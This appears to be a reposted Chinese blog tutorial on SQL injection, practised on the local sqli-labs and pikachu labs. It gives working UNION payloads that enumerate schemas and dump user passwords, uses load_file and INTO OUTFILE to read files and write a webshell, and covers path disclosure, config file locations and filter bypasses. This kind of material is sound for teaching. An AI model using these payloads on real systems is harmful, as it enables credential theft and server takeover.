#跨库查询及应用思路

information_schema表特性,记录数据库名、表名、列名对应表

information_schema.schemata:存储所有数据库名

schema_name:数据库名

利用sqlilabs第2关进行演示

1.猜解列名数量

 

 

可知字段数为3。

2.获取所有数据库名

获取所有数据库名:http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata

 

 

 可知改系统上有10个数据库

sqlilabs通过查询对应的数据库为security。

 

 

 3.获得pikachu数据库名下的表名信息

在网站中一个网站对应一个数据库。由上图可知sqlilabs的数据库为security,靶场pikachu对应的数据库名为pikachu。

获取pikachu数据库名下的表名信息:

http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='pikachu'

 

 

 有4张表。

4.获取指定数据库名下的表名的列名信息

获取pikachu据库下的users表的列名信息:

http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schema='pikachu'

 

 

 5.获取表数据

获取数据库pikachu数据库中users表中的具体信息:

http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select 1,username,password from pikachu.users limit 0,1--+

 

 

 #文件读写操作

读取函数:load_file()

导出函数:into outfile或into dumpfile

读取数据:sele文件的路径’)

1.读取E:下的test.txt文件

select load_file('e:/test.txt');

http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select 1,load_file('e:/test.txt'),3 --+

 

 

 

 2.写入数据

写入数据数据到e盘下的test.txt文件

 写入木马方法:

http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select 1,'木马',3 into outfile 'e:/test.php' --+

 

 

 3.路径获取方法

(1).单引号爆路径

就像测试SQL注入一样在参数后面加上单引号。

http://localhost/?id=1'

(2).错误参数值爆路径

通过第一种方式可以会触发waf,因此可以通过错误的参数值来爆网站路径。

http://localhost/?id=-1
http://localhost/?id=oqewe

(3)通过搜索引擎获取

通过搜索引擎语法可能可以获取到网站路径,如:

Site:xxx.com warning
Site:xxx.com "fatal error"
intext:warning

(4)测试文件获取路径

网站通过XAMPP或者phpstudy等软件搭建的话,会存在一些测试文件,比如:

/test.php
/ceshi.php
/info.php
/phpinfo.php
/php_info.php
/1.php
/l.php
/x.php

(5)配置文件获取路径

如果注入点有文件读取权限,就可以通过load_file函数读取配置文件,再从中寻找路径信息。

Windows配置文件:

c:windowsphp.ini                                         php配置文件
c:windowssystem32inetsrvMetaBase.xml     IIS虚拟主机配置文件

Linux配置文件:

/etc/php.ini                                                             php配置文件
/etc/httpd/conf.d/php.conf
/etc/httpd/conf/httpd.conf                                         Apache配置文件
/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/apache/conf/extra/httpd-vhosts.conf  虚拟目录配置文件

XAMPP配置文件:

Xampp文件路径
C:xampphtdocs
 
httpd.com配置文件
C:xamppapacheconf/httpd.conf
 
vhosts.conf虚拟主机
C:xamppapacheonfextrahttpd-vhosts.conf

phpnow配置文件:

网站默认路径
D:PHPnow-1.5.6htdocs
 
httpd.conf配置文件
D:PHPnow-1.5.6Apache-20confhttpd.conf
 
vhosts.conf虚拟主机
D:PHPnow-1.5.6Apache-20confextravhosts.conf

phpstudy配置文件:

网站默认路径
C:phpstudywww
 
httpd.conf配置文件
C:phpStudyApacheconfhttpd.conf
 
vhosts.conf虚拟主机
C:phpStudyApacheconfextrahttpd-vhosts.conf

LAMPP配置文件:

网站默认路径
/opt/lampp/htdocs
 
httpd.conf配置文件
/opt/lampp/etc/httpd.conf
 
vhosts.conf虚拟主机
/opt/lampp/etc/extra/httpd-vhosts.conf

(6)nginx文件类型错误解析爆路径

要求Web服务器是nginx,且存在文件类型解析漏洞。有时在图片地址后加/x.php,该图片不但会被当作php文件执行,还有可能爆出物理路径。

http://localhost/test.jpg/x.php

(7)phpmyadmin爆路径

/phpmyadmin/themes/darkblue_orange/layout.inc.php

(8)配合远程代码执行漏洞

比如eval()函数可控的话,直接传入phpinfo(),通过phpinfo页面中Document_Root参数获取网站绝对路径。

#常见文件写入问题

1.魔术引号开关

magic_quotes_gpc=on时,输入数据中引号(')、双引号(“)、右斜杠()、null(null)等字符都会被加上反斜线()。

http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select 1,load_file('e:\test.txt'),3 --+

 

\被转义成\\,'转义成‘

绕过方法:

将路径去掉引号采用十六进制编码即可绕过。

 

 2.php语言的addslashes()函数

addslashes()函数与魔术引号作用类似,输入数据中引号(')、双引号(“)、右斜杠()、null(null)等字符都会被加上反斜线()。

3.内置函数int

我们修改第2关的php文件

 再进行测试

 

 无法注入!且无法绕过

4.自定义关键字

 str_replace('select','warning',$id)函数将select替换成warning。

 

 进行测试:

 

 select被修改,修改大小写可以绕过。

 

内容来源于网络如有侵权请私信删除

文章来源: 博客园

原文链接: https://www.cnblogs.com/zhaozhaomumu/p/15073358.html

你还没有登录,请先登录注册
  • 还没有人评论,欢迎说说您的想法!